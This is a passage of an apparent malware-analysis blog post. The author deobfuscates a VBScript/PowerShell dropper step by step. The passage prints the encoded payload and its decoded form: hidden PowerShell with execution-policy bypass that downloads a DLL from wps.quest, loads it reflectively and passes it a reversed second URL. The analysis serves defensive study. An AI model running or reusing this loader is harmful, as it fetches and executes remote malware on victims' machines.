Before ------------ $iUqm = 'JABSAG8AZABhAEMAbwBwAHkAIAA9ACAAJwAlAEMAbwBwAHkA☈☈☈wB0AGEAcgB0AH☈☈☈AcABSAG8AZABhAC☈☈☈AJwA7AFsAQgB5AHQAZQBbAF0AXQAgACQARABMAEwAIAA9ACAAWwBTAHkAcwB0AG☈☈☈AbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcABzADoALwAvAHcAcABzAC4AcQB1AG☈☈☈AcwB0AC8ARABsAGwALwBSAG8AZABhAEQAbABsAC4AdAB4AHQAJwApACkAOwBbAFMAeQBzAHQAZQBtAC4AQQBwAHAARABvAG0AYQBpAG4AXQA6ADoAQwB1AHIAcgBlAG4AdABEAG8AbQBhAGkAbgAuAEwAbwBhAGQAKAAkAEQATABMACkALgBHAG☈☈☈AdAB☈☈☈AHkAcABlACgAJwB4AEsAdgBLAGsAdQBOAFoALgBVAEcAbAB5AG0AegBVAGcAJwApAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAF☈☈☈ARABzAFMAaQBEAGIAYgAnACkALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAdABbAF0AXQAgACgAJwBtAGcAMgBEAGgAVwAyAH☈☈☈ARwB3AFgAeAAvAGQAYQBvAGwAbgB3AG8AZAAvAG0AbwBjAC4AbwBpAG☈☈☈AdABzAGEAcAAvAC8AOgBzAHAAdAB0AGgAJwAgACwAIAAkAFIAbwBkAGEAQwBvAHAAeQAgACwAIAAnAEcAbwBpAHMAZwB0AHMAJwAgACkAKQA=';[System.Text.Encoding]::Unicode.GetString( [System.Convert]::FromBase64String( $iUqm.replace('☈☈☈','U') ) ) After ------------ ytwZ = $RodaCopy = '%CopyStartupRoda%';[Byte[]] $DLL = [System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://wps.quest/Dll/RodaDll.txt'));[System.AppDomain]::CurrentDomain.Load($DLL).GetType('xKvKkuNZ.UGlymzUg').GetMethod('UDsSiDbb').Invoke($null, [object[]] ('mg2DhW2uGwXx/daolnwod/moc.oietsap//:sptth' , $RodaCopy , 'Goisgts' ))
With this now decoded we can start to see what is going on:
- It looks to be using the reflective method for .Net applications via a DLL file to do it. A great read about this method can be found over at redteamers.tips site here and Microsoft’s site here.
- We can also see that a DLL file is being pulled down from the callback URL and is being downloaded as a byte array and using the base64 decode method to decode the bytes from the array to create the DLL.
- There is another URL that is reversed as well (mg2DhW2uGwXx/daolnwod/moc.oietsap//:spxxh)
The next bit of code
ytwZ = ytwZ & qUOt( ";$OWjuxD = $OWjuxD.replace('%CopyStartupRoda%', '" & WScript.ScriptFullName & "');po;wers;hell.;exe -windo;wstyle hi;dden -Execut;ionPolicy Byp;ss -NoP;rofile -Com;mand $OW;juxD" & "WDySjnçIJwGnYGadvbOQBvKzlNzWDDgUqgGlLKÇQvvkKPNjaUIdApxgqHTfDLUkfOKsXOKçDcQtltyXDXhNNbGNNPACgAzWRtuLt" , "WDySjnçIJwGnYGadvbOQBvKzlNzWDDgUqgGlLKÇQvvkKPNjaUIdApxgqHTfDLUkfOKsXOKçDcQtltyXDXhNNbGNNPACgAzWRtuLt", "")
threw me off for a long while since I didn’t realize the switch from VBScript to PoSH syntax for the REPLACE function (in PoSH there are only 2 arguments needed for the REPLACE function – see https://adamtheautomator.com/powershell-replace/ for more information). First it started with the “$OWjuxD.replace” function; it replaced “%CopyStartupRoda%” with ” WScript.ScriptFullName ” which now means that the variable “$OWjuxD” is ‘” WScript.ScriptFullName “‘.
ytwZ = ; WScript.ScriptFullName ";po;wers;hell.;exe -windo;wstyle hi;dden -Execut;ionPolicy Byp;ss -NoP;rofile -Com;mand $OW;juxD"
It then proceeds to the function “qUOt” (which has 3 arguments that are being passed to it). This removed the “WDySjnçIJwGnYGadvbOQBvKzlNzWDDgUqgGlLKÇQvvkKPNjaUIdApxgqHTfDLUkfOKsXOKçDcQtltyXDXhNNbGNNPACgAzWRtuLt” string and assigned it all back to the variable “ytwZ”.
Once done we get the following:
ytwZ = $RodaCopy = ; WScript.ScriptFullName ;po;wers;hell.;exe -windo;wstyle hi;dden -Execut;ionPolicy Byp;ss -NoP;rofile -Com;mand $OW;juxD;[Byte[]] $DLL = [System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://wps.quest/Dll/RodaDll.txt'));[System.AppDomain]::CurrentDomain.Load($DLL).GetType('xKvKkuNZ.UGlymzUg').GetMethod('UDsSiDbb').Invoke($null, [object[]] ('mg2DhW2uGwXx/daolnwod/moc.oietsap//:sptth' , $RodaCopy , 'Goisgts'
The next bits of code are more of the same as above; doing a REPLACE on all the semicolons with NULL:
dim erPm erPm = "" ytwZ = ( qUOt(ytwZ, erPm + ";" + erPm, "") )
which gives us the following:
ytwZ = $RodaCopy = powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command WScript.ScriptFullName [Byte[]] $DLL = [System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://wps.quest/Dll/RodaDll.txt'))[System.AppDomain]::CurrentDomain.Load($DLL).GetType('xKvKkuNZ.UGlymzUg').GetMethod('UDsSiDbb').Invoke($null, [object[]] ('mg2DhW2uGwXx/daolnwod/moc.oietsap//:sptth' , $RodaCopy , 'Goisgts'
The last two lines of code finish out the script and proceed to execute it.
set GMUi = CreateObject("WScript.Shell") GMUi.Run( "powershell -command " & (ytwZ) ), 0, false [text] WScript.Shell(powershell -command $RodaCopy = powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command WScript.ScriptFullName [Byte[]] $DLL = [System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://wps.quest/Dll/RodaDll.txt'))[System.AppDomain]::CurrentDomain.Load($DLL).GetType('xKvKkuNZ.UGlymzUg').GetMethod('UDsSiDbb').Invoke($null, [object[]] ('mg2DhW2uGwXx/daolnwod/moc.oietsap//:sptth' , $RodaCopy , 'Goisgts'
This took me WAY longer then I really had hoped for, but considering I haven’t done this kind of analysis in a while, I will cut myself some slack. As usual, if I missed anything or if there is something off on my deobfuscation, please let me know.